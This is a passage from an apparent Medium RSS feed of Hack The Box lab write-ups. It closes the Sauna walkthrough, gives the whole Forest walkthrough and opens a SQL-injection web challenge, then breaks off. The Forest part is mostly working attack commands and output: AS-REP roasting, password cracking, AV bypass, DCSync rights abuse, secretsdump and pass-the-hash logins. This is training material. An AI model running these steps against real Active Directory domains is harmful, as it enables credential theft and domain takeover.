                                                                   <br>INFO: Found AD domain: egotistical-bank.local                                                                                                                                                                <br>INFO: Getting TGT for user                                                                                                                                                                                   <br>WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (SAU                                                                                                NA.EGOTISTICAL-BANK.LOCAL:88)] [Errno -2] Name or service not known                                                                                                                                          <br>INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL                                                                                                                                                <br>INFO: Found 1 domains                                                                                                                                                                                        <br>INFO: Found 1 domains in the forest                                                                                                                                                                          <br>INFO: Found 1 computers                                                                                                                                                                                      <br>INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL                                                                                                                                                <br>INFO: Found 7 users                                                                                                                                                                                          <br>INFO: Found 52 groups                                                                                                                                                                                        <br>INFO: Found 3 gpos                                                                                                                                                                                           <br>INFO: Found 1 ous                                                                                                                                                                                            <br>INFO: Found 19 containers                                                                                                                                                                                    <br>INFO: Found 0 trusts                                                                                                                                                                                         <br>INFO: Starting computer enumeration with 10 workers                                                                                                                                                          <br>INFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCAL                                                                                                                                                        <br>INFO: Done in 00M 21S</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*yC0mBjHnrdjrrbCicDWEOg.png" /></figure><p>Since, <strong>svc_loanmanager</strong> has <strong>DCSync</strong> permission on <strong>Egotistical-Bank.local</strong>, hash of the system can be dumped. But to keep in mind from the above picture is that the username is <strong>svc_loanmgr</strong>, not <strong>svc_loanmanager</strong>.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/sauna]<br>└─$ impacket-secretsdump svc_loanmgr@10.129.95.180<br>Impacket v0.11.0 - Copyright 2023 Fortra<br><br>Password:<br>[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied <br>[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)<br>[*] Using the DRSUAPI method to get NTDS.DIT secrets<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073..redacted..6c7f98e:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cf..redacted..d7e0c089c0:::<br>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428..redacted..e466e2c:::<br><br>..snip..<br><br>SAUNA$:des-cbc-md5:104c515b86739e08<br>[*] Cleaning up...</pre><p>Let’s login as <strong>Administrator</strong>.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/sauna]<br>└─$ evil-winrm -u administrator -H 823452073d..redacted..f86c7f98e -i 10.129.95.180<br>                                        <br>Evil-WinRM shell v3.5<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                                           <br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                                             <br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\Administrator\Documents&gt; cat ../Desktop/root.txt<br>737fb6ccc7e9bd6083e0bf12404a51f8<br>*Evil-WinRM* PS C:\Users\Administrator\Documents&gt;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c78737036d0b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Forest: HTB Walkthrough]]></title>
            <link>https://shivamaharjan.medium.com/forest-htb-walkthrough-a4c6cb3f8f85?source=rss-e5c2e89f25d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/a4c6cb3f8f85</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[domain-controller]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Shiva Maharjan]]></dc:creator>
            <pubDate>Sun, 21 Jul 2024 04:58:09 GMT</pubDate>
            <atom:updated>2025-12-02T05:44:33.936Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*Qugua6AasqHWqgw4NCcZ4A.png" /></figure><p>Forest in an easy difficulty Windows Domain Controller (DC), for a domain in which Exchange Server has been installed. The DC is found to allow anonymous LDAP binds, which is used to enumerate domain objects. The password for a service account with Kerberos pre-authentication disabled can be cracked to gain a foothold. The service account is found to be a member of the Account Operators group, which can be used to add users to privileged Exchange groups. The Exchange group membership is leveraged to gain DCSync privileges on the domain and dump the NTLM hashes.</p><h3><strong>Things to learn:</strong></h3><ol><li><a href="https://www.kali.org/tools/enum4linux/"><strong>enum4linux</strong></a>: Helps to get information about the system without any prior knowledge. Hence, very useful while enumerating systems.</li><li><a href="https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py"><strong>impacket-GetNPUsers</strong></a>: Helps to get information on any user that has Kerberos Pre-Auth Disabled which in turn gives back TGT that could be cracked if possible and then login to the system.</li><li><a href="https://github.com/dirkjanm/BloodHound.py"><strong>bloodhound-python</strong></a>: Helps to generate data on connection between system in an AD remotely.</li><li><strong>b</strong><a href="https://www.kali.org/tools/bloodhound/"><strong>loodhound</strong></a>: Helps to identify connections between different accounts, OU, forests, etc.</li><li><a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1"><strong>PowerView.ps1</strong></a>: Helps to import different modules that aren’t available locally, easily that would help in enumeration the system</li><li><a href="https://github.com/fortra/impacket/blob/master/examples/secretsdump.py"><strong>impacket-secretdump</strong></a>: Help to dump hash value of users of the system.</li></ol><h4><strong>Enumeration</strong></h4><p>Let’s start by scanning the system.</p><pre>PORT      STATE SERVICE      REASON  VERSION<br>53/tcp    open  domain       syn-ack Simple DNS Plus<br>88/tcp    open  kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2024-07-17 04:49:30Z)<br>135/tcp   open  msrpc        syn-ack Microsoft Windows RPC<br>139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn<br>389/tcp   open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds syn-ack Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)<br>464/tcp   open  kpasswd5?    syn-ack<br>593/tcp   open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped   syn-ack<br>3268/tcp  open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped   syn-ack<br>5985/tcp  open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>9389/tcp  open  mc-nmf       syn-ack .NET Message Framing<br>47001/tcp open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>49664/tcp open  msrpc        syn-ack Microsoft Windows RPC<br>49665/tcp open  msrpc        syn-ack Microsoft Windows RPC<br>49666/tcp open  msrpc        syn-ack Microsoft Windows RPC<br>49667/tcp open  msrpc        syn-ack Microsoft Windows RPC<br>49671/tcp open  msrpc        syn-ack Microsoft Windows RPC<br>49680/tcp open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0<br>49681/tcp open  msrpc        syn-ack Microsoft Windows RPC<br>49686/tcp open  msrpc        syn-ack Microsoft Windows RPC<br>49706/tcp open  msrpc        syn-ack Microsoft Windows RPC<br>65053/tcp open  msrpc        syn-ack Microsoft Windows RPC<br>Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2024-07-17T04:50:23<br>|_  start_date: 2024-07-17T04:42:26<br>| p2p-conficker: <br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 36501/tcp): CLEAN (Couldn&#39;t connect)<br>|   Check 2 (port 58148/tcp): CLEAN (Couldn&#39;t connect)<br>|   Check 3 (port 32697/udp): CLEAN (Failed to receive data)<br>|   Check 4 (port 54689/udp): CLEAN (Timeout)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked<br>| smb-os-discovery: <br>|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)<br>|   Computer name: FOREST<br>|   NetBIOS computer name: FOREST\x00<br>|   Domain name: htb.local<br>|   Forest name: htb.local<br>|   FQDN: FOREST.htb.local<br>|_  System time: 2024-07-16T21:50:25-07:00<br>|_clock-skew: mean: 2h26m50s, deviation: 4h02m32s, median: 6m48s<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: required</pre><p>We can see that the domain as well as forest name is htb.local, FQDN is FOREST.htb.local. Kerberos as well as LDAP services are running in the system.</p><p>Now let’s enumerate further with the help of <a href="https://medium.com/@S3Curiosity/unveiling-the-secrets-of-enum4linux-a-powerful-tool-in-ethical-hacking-ba487f422e8f"><strong>enum4linux</strong></a><strong>.</strong></p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/forest]<br>└─$ enum4linux -U 10.129.95.210 <br>Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ )                                                                                                 <br>                                                                                                                                                                                                                  <br> =========================================( Target Information )=========================================                                                                                                         <br>                                                                                                                                                                                                                  <br>Target ........... 10.129.95.210                                                                                                                                                                                  <br>RID Range ........ 500-550,1000-1050<br>Username ......... &#39;&#39;<br>Password ......... &#39;&#39;<br>Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none<br><br><br> ===========================( Enumerating Workgroup/Domain on 10.129.95.210 )===========================<br>                                                                                                                                                                                                                  <br>                                                                                                                                                                                                                  <br>[E] Can&#39;t find workgroup/domain                                                                                                                                                                                   <br><br> ===================================( Session Check on 10.129.95.210 )===================================<br>                                                                                                                                                                                                                  <br>                                                                                                                                                                                                                  <br>[+] Server 10.129.95.210 allows sessions using username &#39;&#39;, password &#39;&#39;                                                                                                                                           <br>                                                                                                                                                                                                                  <br>                                                                                                                                                                                                                  <br> ================================( Getting domain SID for 10.129.95.210 )================================<br>                                                                                                                                                                                                                  <br>Domain Name: HTB                                                                                                                                                                                                  <br>Domain Sid: S-1-5-21-3072663084-364016917-1341370565<br><br>[+] Host is part of a domain (not a workgroup)                                                                                                                                                                    <br>                                                                                                                                                                                                                  <br>                                                                                                                                                                                                                  <br> =======================================( Users on 10.129.95.210 )=======================================<br>                                                                                                                                                                                                                  <br>index: 0x2137 RID: 0x463 acb: 0x00020015 Account: $331000-VK4ADACQNUCA  Name: (null)    Desc: (null)                                                                                                              <br>index: 0xfbc RID: 0x1f4 acb: 0x00000010 Account: Administrator  Name: Administrator     Desc: Built-in account for administering the computer/domain<br>index: 0x2369 RID: 0x47e acb: 0x00000210 Account: andy  Name: Andy Hislip       Desc: (null)<br>index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null)    Desc: A user account managed by the system.<br>index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)    Desc: Built-in account for guest access to the computer/domain<br>index: 0x2352 RID: 0x478 acb: 0x00000210 Account: HealthMailbox0659cc1  Name: HealthMailbox-EXCH01-010  Desc: (null)<br>index: 0x234b RID: 0x471 acb: 0x00000210 Account: HealthMailbox670628e  Name: HealthMailbox-EXCH01-003  Desc: (null)<br>index: 0x234d RID: 0x473 acb: 0x00000210 Account: HealthMailbox6ded678  Name: HealthMailbox-EXCH01-005  Desc: (null)<br>index: 0x2351 RID: 0x477 acb: 0x00000210 Account: HealthMailbox7108a4e  Name: HealthMailbox-EXCH01-009  Desc: (null)<br>index: 0x234e RID: 0x474 acb: 0x00000210 Account: HealthMailbox83d6781  Name: HealthMailbox-EXCH01-006  Desc: (null)<br>index: 0x234c RID: 0x472 acb: 0x00000210 Account: HealthMailbox968e74d  Name: HealthMailbox-EXCH01-004  Desc: (null)<br>index: 0x2350 RID: 0x476 acb: 0x00000210 Account: HealthMailboxb01ac64  Name: HealthMailbox-EXCH01-008  Desc: (null)<br>index: 0x234a RID: 0x470 acb: 0x00000210 Account: HealthMailboxc0a90c9  Name: HealthMailbox-EXCH01-002  Desc: (null)<br>index: 0x2348 RID: 0x46e acb: 0x00000210 Account: HealthMailboxc3d7722  Name: HealthMailbox-EXCH01-Mailbox-Database-1118319013  Desc: (null)<br>index: 0x2349 RID: 0x46f acb: 0x00000210 Account: HealthMailboxfc9daad  Name: HealthMailbox-EXCH01-001  Desc: (null)<br>index: 0x234f RID: 0x475 acb: 0x00000210 Account: HealthMailboxfd87238  Name: HealthMailbox-EXCH01-007  Desc: (null)<br>index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null)    Desc: Key Distribution Center Service Account<br>index: 0x2360 RID: 0x47a acb: 0x00000210 Account: lucinda       Name: Lucinda Berger    Desc: (null)<br>index: 0x236a RID: 0x47f acb: 0x00000210 Account: mark  Name: Mark Brandt       Desc: (null)<br>index: 0x236b RID: 0x480 acb: 0x00000210 Account: santi Name: Santi Rodriguez   Desc: (null)<br>index: 0x235c RID: 0x479 acb: 0x00000210 Account: sebastien     Name: Sebastien Caron   Desc: (null)<br>index: 0x215a RID: 0x468 acb: 0x00020011 Account: SM_1b41c9286325456bb  Name: Microsoft Exchange Migration      Desc: (null)<br>index: 0x2161 RID: 0x46c acb: 0x00020011 Account: SM_1ffab36a2f5f479cb  Name: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}       Desc: (null)<br>index: 0x2156 RID: 0x464 acb: 0x00020011 Account: SM_2c8eef0a09b545acb  Name: Microsoft Exchange Approval Assistant     Desc: (null)<br>index: 0x2159 RID: 0x467 acb: 0x00020011 Account: SM_681f53d4942840e18  Name: Discovery Search Mailbox  Desc: (null)<br>index: 0x2158 RID: 0x466 acb: 0x00020011 Account: SM_75a538d3025e4db9a  Name: Microsoft Exchange        Desc: (null)<br>index: 0x215c RID: 0x46a acb: 0x00020011 Account: SM_7c96b981967141ebb  Name: E4E Encryption Store - Active     Desc: (null)<br>index: 0x215b RID: 0x469 acb: 0x00020011 Account: SM_9b69f1b9d2cc45549  Name: Microsoft Exchange Federation Mailbox     Desc: (null)<br>index: 0x215d RID: 0x46b acb: 0x00020011 Account: SM_c75ee099d0a64c91b  Name: Microsoft Exchange        Desc: (null)<br>index: 0x2157 RID: 0x465 acb: 0x00020011 Account: SM_ca8c2ed5bdab4dc9b  Name: Microsoft Exchange        Desc: (null)<br>index: 0x2365 RID: 0x47b acb: 0x00010210 Account: svc-alfresco  Name: svc-alfresco      Desc: (null)<br><br>user:[Administrator] rid:[0x1f4]<br>user:[Guest] rid:[0x1f5]<br>user:[krbtgt] rid:[0x1f6]<br>user:[DefaultAccount] rid:[0x1f7]<br>user:[$331000-VK4ADACQNUCA] rid:[0x463]<br>user:[SM_2c8eef0a09b545acb] rid:[0x464]<br>user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]<br>user:[SM_75a538d3025e4db9a] rid:[0x466]<br>user:[SM_681f53d4942840e18] rid:[0x467]<br>user:[SM_1b41c9286325456bb] rid:[0x468]<br>user:[SM_9b69f1b9d2cc45549] rid:[0x469]<br>user:[SM_7c96b981967141ebb] rid:[0x46a]<br>user:[SM_c75ee099d0a64c91b] rid:[0x46b]<br>user:[SM_1ffab36a2f5f479cb] rid:[0x46c]<br>user:[HealthMailboxc3d7722] rid:[0x46e]<br>user:[HealthMailboxfc9daad] rid:[0x46f]<br>user:[HealthMailboxc0a90c9] rid:[0x470]<br>user:[HealthMailbox670628e] rid:[0x471]<br>user:[HealthMailbox968e74d] rid:[0x472]<br>user:[HealthMailbox6ded678] rid:[0x473]<br>user:[HealthMailbox83d6781] rid:[0x474]<br>user:[HealthMailboxfd87238] rid:[0x475]<br>user:[HealthMailboxb01ac64] rid:[0x476]<br>user:[HealthMailbox7108a4e] rid:[0x477]<br>user:[HealthMailbox0659cc1] rid:[0x478]<br>user:[sebastien] rid:[0x479]<br>user:[lucinda] rid:[0x47a]<br>user:[svc-alfresco] rid:[0x47b]<br>user:[andy] rid:[0x47e]<br>user:[mark] rid:[0x47f]<br>user:[santi] rid:[0x480]</pre><p>From the above result, we can see following users:</p><pre>user:[Administrator] rid:[0x1f4]<br>user:[Guest] rid:[0x1f5]<br>user:[sebastien] rid:[0x479]<br>user:[lucinda] rid:[0x47a]<br>user:[svc-alfresco] rid:[0x47b]<br>user:[andy] rid:[0x47e]<br>user:[mark] rid:[0x47f]<br>user:[santi] rid:[0x480]</pre><p>Since, we have got the usernames, we can try if the <strong>Kerberos Pre-Auth is Disabled</strong> aka <a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast#request-as_rep-message"><strong>AS-REP Roasting</strong></a><strong>.</strong></p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/forest]<br>└─$ impacket-GetNPUsers htb.local/ -usersfile userlist -dc-ip 10.129.95.210 -request -format john -output kerbt<br>Impacket v0.11.0 - Copyright 2023 Fortra<br><br>[-] User Administrator doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)<br>[-] User sebastien doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User lucinda doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>$krb5asrep$svc-alfresco@HTB.LOCAL:2f50..redacted..760afedb53<br>[-] User andy doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User mark doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>[-] User santi doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set</pre><p>Since the hash format is saved in john, let’s use johnTheRipper to crack the password.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/forest]<br>└─$ john --wordlist=/usr/share/wordlists/rockyou.txt kerbt<br>Using default input encoding: UTF-8<br>Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])<br>Will run 12 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>&lt;..redacted..&gt;          ($krb5asrep$svc-alfresco@HTB.LOCAL)     <br>1g 0:00:00:02 DONE (2024-07-17 10:57) 0.3921g/s 1602Kp/s 1602Kc/s 1602KC/s s64891817..s3r2s1<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed. </pre><p>Let’s login to the system with evil-winrm</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/forest]<br>└─$ evil-winrm -i 10.129.95.210 -u svc-alfresco    <br>Enter Password: <br>                                        <br>Evil-WinRM shell v3.5<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\svc-alfresco\Documents&gt; cat ../Desktop/user.txt<br>a19e60e129c84985632ac34a0af4d5</pre><p>Since, this is an AD let’s find out about the architecture of the system with the help of <a href="https://dev.to/adamkatora/setting-up-and-using-bloodhound-in-kali-linux-23pg"><strong>bloodhound-python</strong></a>.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/forest]<br>└─$ bloodhound-python -c All -u svc-alfresco -d htb.local -ns 10.129.95.210<br>Password:<br>INFO: Found AD domain: htb.local<br>INFO: Getting TGT for user<br>WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (FOREST.htb.local:88)] [Errno -2] Name or service not known<br>INFO: Connecting to LDAP server: FOREST.htb.local<br>INFO: Found 1 domains<br>INFO: Found 1 domains in the forest<br>INFO: Found 2 computers<br>INFO: Connecting to LDAP server: FOREST.htb.local<br>INFO: Found 32 users<br>INFO: Found 76 groups<br>INFO: Found 2 gpos<br>INFO: Found 15 ous<br>INFO: Found 20 containers<br>INFO: Found 0 trusts<br>INFO: Starting computer enumeration with 10 workers<br>INFO: Querying computer: EXCH01.htb.local<br>INFO: Querying computer: FOREST.htb.local<br>INFO: Done in 00M 59S</pre><p>From the bloodhound report we can see that <strong>svc-alfresco</strong> is a member of <a href="https://networkencyclopedia.com/account-operators-group/"><strong>Account Operators</strong></a> group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*wv8mDh1RGXILccylIliXUg.png" /></figure><p>The account operators have following privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*3DZy1LrEwiBLJmmVjrj5yA.png" /></figure><p>By those we could create a new user and add them to any local groups.</p><p>On further exploration, we can see that the <strong>Account Operators</strong> group has <a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#genericall-rights-on-group"><strong>GenericAll</strong></a> Privileges on <strong>Exchange Windows Permissions </strong>which has <a href="https://support.bloodhoundenterprise.io/hc/en-us/articles/17312765477787-WriteDacl"><strong>WriteDacl</strong></a> Permission on <strong>HTB.LOCAL</strong> domain. This means that we could add users to <strong>Exchange Windows Permissions</strong> group and use the <strong>WriteDacl</strong> privilege to add ACLs. In short, the user could add <strong>DCSync</strong> Privilege on htb.local and dump the hash of all users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*uitWvl5R9Kk5di_epcIo9w.png" /></figure><p><strong>Own ROOT:</strong></p><pre>┌──(shiva㉿shivamaharjan)-[~/Downloads]<br>└─$ evil-winrm -u svc-alfresco -i 10.129.187.101<br>Password:<br>                                        <br>Evil-WinRM shell v3.5<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\svc-alfresco\Documents&gt; net user shiva shiva123! /add /domain<br>The command completed successfully.<br><br>*Evil-WinRM* PS C:\Users\svc-alfresco\Documents&gt; net group &quot;Exchange Windows Permissions&quot; shiva /add<br>The command completed successfully.<br><br>*Evil-WinRM* PS C:\Users\svc-alfresco\Documents&gt; net localgroup &quot;Remote Management Users&quot; shiva /add<br>The command completed successfully.</pre><p>Above command creates user shiva and adds him to required users. “<strong>Remote Management Users</strong>” so that he could login remotely.</p><p>Next, <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1"><strong>download</strong></a> the <a href="https://medium.com/@browninfosecguy/an-introduction-to-powerview-bdfd953f2c4c"><strong>PowerView</strong></a> script and<strong> import it into the session </strong>of shiva.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/forest]<br>└─$ evil-winrm -u shiva -p shiva123! -i 10.129.187.101<br>                                        <br>Evil-WinRM shell v3.5<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\shiva\Documents&gt; menu<br><br><br>   ,.   (   .      )               &quot;            ,.   (   .      )       .   <br>  (&quot;  (  )  )&#39;     ,&#39;             (`     &#39;`    (&quot;     )  )&#39;     ,&#39;   .  ,)  <br>.; )  &#39; (( (&quot; )    ;(,      .     ;)  &quot;  )&quot;  .; )  &#39; (( (&quot; )   );(,   )((   <br>_&quot;.,_,.__).,) (.._( ._),     )  , (._..( &#39;.._&quot;._, . &#39;._)_(..,_(_&quot;.) _( _&#39;)  <br>\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \  <br> |    __)_\  \/ /  |  |    ;_)_&#39;) \   \/\/   /  |/    \|       _/ /  \ /  \ <br> |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \<br>/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /<br>        \/                               \/          \/       \/         \/<br><br>       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers<br>[+] Dll-Loader <br>[+] Donut-Loader <br>[+] Invoke-Binary<br>[+] Bypass-4MSI<br>[+] services<br>[+] upload<br>[+] download<br>[+] menu<br>[+] exit<br><br>*Evil-WinRM* PS C:\Users\shiva\Documents&gt; Bypass-4MSI<br>                                        <br>Info: Patching 4MSI, please be patient...<br>                                        <br>[+] Success!<br>*Evil-WinRM* PS C:\Users\shiva\Documents&gt; upload PowerView.ps1<br>                                        <br>Info: Uploading ./PowerView.ps1 to C:\Users\shiva\Documents\PowerView.ps1<br>                                        <br>Data: 1027036 bytes of 1027036 bytes copied<br>                                        <br>Info: Upload successful!</pre><p>The <strong>Bypass-4MSI</strong> helps to <strong>evade</strong> defender if any, before importing the script. Next, <strong>import</strong> the script in current session and then we can <strong>add</strong> ACL to give ourselves <strong>DCSync</strong> rights.</p><pre>*Evil-WinRM* PS C:\Users\shiva\Documents&gt; . ./powerview.ps1<br>*Evil-WinRM* PS C:\Users\shiva\Documents&gt; Add-ObjectACL -PrincipalIdentity shiva -Credential $cred -Rights DCSync</pre><p>Let’s use impacket-secretdump to dump the hash of all users.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/forest]<br>└─$ impacket-secretsdump htb/shiva@10.129.187.101<br>Impacket v0.11.0 - Copyright 2023 Fortra<br><br>Password:<br>[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied <br>[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)<br>[*] Using the DRSUAPI method to get NTDS.DIT secrets<br>htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693--redacted--d32c72a07ceea6:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d--redacted--c59d7e0c089c0:::<br>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af82--redacted--7632f8:::<br>DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe--redacted--3c59d7e0c089c0:::</pre><p>Let’s use the obtained hash of Administrator to login using evil-winrm.</p><pre>┌──(shiva㉿shivamaharjan)-[~/htb/machines/forest]<br>└─$ evil-winrm  -i 10.129.187.101 -u Administrator -H 32693--redacted--d32c72a07ceea6                                                                                                                            <br>                                        <br>Evil-WinRM shell v3.5<br>                                        <br>Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine<br>                                        <br>Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion<br>                                        <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\Administrator\Documents&gt; cat ../Desktop/root.txt<br>0db9814c5c8498510913d8f54ddc6</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a4c6cb3f8f85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB 0xBOverchunked]]></title>
            <link>https://shivamaharjan.medium.com/htb-0xboverchunked-8c9d68c95f5b?source=rss-e5c2e89f25d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c9d68c95f5b</guid>
            <category><![CDATA[webchallenge]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[0xboverchunked]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Shiva Maharjan]]></dc:creator>
            <pubDate>Fri, 17 May 2024 17:11:08 GMT</pubDate>
            <atom:updated>2025-01-17T05:08:13.396Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>OxBOverchunked is an easy rated web challenge from HackTheBox where we have to find the 6th character which is definitely the flag.</blockquote><p><a href="https://app.hackthebox.com/challenges/0xboverchunked">Hack The Box</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/287/1*7jHgixrkTfwhNAIS1ibgxA.png" /></figure><p>After starting the instance, we are given a ip address. Upon visiting the address, I see the following. After going through the page, for the 6th item we are shown “You are not allowed to view this post” message. So, I think we have to retrieve the 6th element or character as stated in the CTF description.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X2wS296iMurLcbG_8ry7RQ.png" /></figure><p>Let’s download the code and review them and find where we can exploit any vulnerability and gain the data.</p><p>Upon reviewing the code, I found out that there was a function named “<strong><em>unsafequery</em></strong>” in “<strong><em>Cursor.php</em></strong>” where the id parameter is used directly in the sql query rather than using prepared statement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zOf9ug3y_JRNfau03_lL-g.png" /></figure><p>On further review, it is also seen that the above function is triggered once the<strong> HTTP request</strong> has <strong>HTTP_TRANSFER_ENCODING</strong> is set and has value set as <strong>chunked</strong> and hence may be the name 0xBOverchunked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bPe8Vyq-PGOUdKCsZpnZXA.png" /></figure><p>Now, let’s intercept the request and set the header and see what progress can be made.</p><p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Transfer-Encoding">Transfer-Encoding - HTTP | MDN</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*adqj_X8ukIr6hhdPhWv12A.png" /></figure><p>While sending chunked data, it 